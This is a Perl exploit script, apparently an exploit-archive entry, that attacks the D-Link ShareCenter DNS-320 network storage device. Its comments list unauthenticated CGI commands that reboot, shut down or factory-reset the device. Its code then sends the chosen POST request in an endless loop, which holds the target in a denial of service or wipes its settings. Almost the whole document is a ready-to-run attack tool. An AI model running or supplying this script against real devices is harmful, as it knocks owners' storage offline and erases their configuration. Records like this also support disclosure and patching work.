#!/usr/bin/perl
#
# Title: ShareCenter D-Link DNS-320 remote reboot/shutdown/reset (DoS).
# Type: Hardware
# Remote: yes
# Author: rigan - imrigan [sobachka] gmail.com
#
# Tested on:
# Firmware : DNS320-v2.00b06
#
# Security flaws:
# dsk_mgr.cgi allows execute reboot via POST request with parameter cmd=FMT_restart.
# system_mgr.cgi allows execute reboot via POST request with parameter cmd=cgi_restart or cmd=cgi_reboot.
# system_mgr.cgi allows execte shutdown via POST request with parameter cmd=cgi_shutdown.
# wizard_mgr.cgi allows to reset the firmware to default settings via POST request with parameter cmd=cgi_wizard.
use LWP::UserAgent;
print "[*] ShareCenter D-Link DNS-320 Remote Dos Exploit\n";
if (@ARGV != 3){ &usage; }
while (@ARGV > 0){
$ip = shift(@ARGV);
$port = shift(@ARGV);
$mode = shift(@ARGV);
}
@cgi = ("dsk_mgr.cgi", "system_mgr.cgi", "wizard_mgr.cgi", "system_mgr.cgi");
@cmd = ("cmd=FMT_restart", "cmd=cgi_restart", "cmd=cgi_wizard", "cmd=cgi_shutdown");
$url = "http://".$ip.":".$port."/cgi-bin/".$cgi[$mode];
print "[*] DoS............................................. \n";
while(1){
my $ua = new LWP::UserAgent;
my $req = HTTP::Request->new(POST=>$url);
$req->content_type('application/x-www-form-urlencoded');
$req->content($cmd[$mode]);
my $res = $ua->request($req);
}
sub usage(){
print "Usage: perl dlink.pl [target ip] [port] [0,1,2,3] \n";
print "================================================= \n";
print "0 - dsk_mgr.cgi cmd=FMT_restart [Reboot] \n";
print "1 - system_mgr.cgi cmd=cgi_restart [Reboot] \n";
print "2 - wizard_mgr.cgi cmd=cgi_wizard [Reset] \n";
print "3 - system_mgr.cgi cmd=shutdown [Shutdown] \n";
exit;
}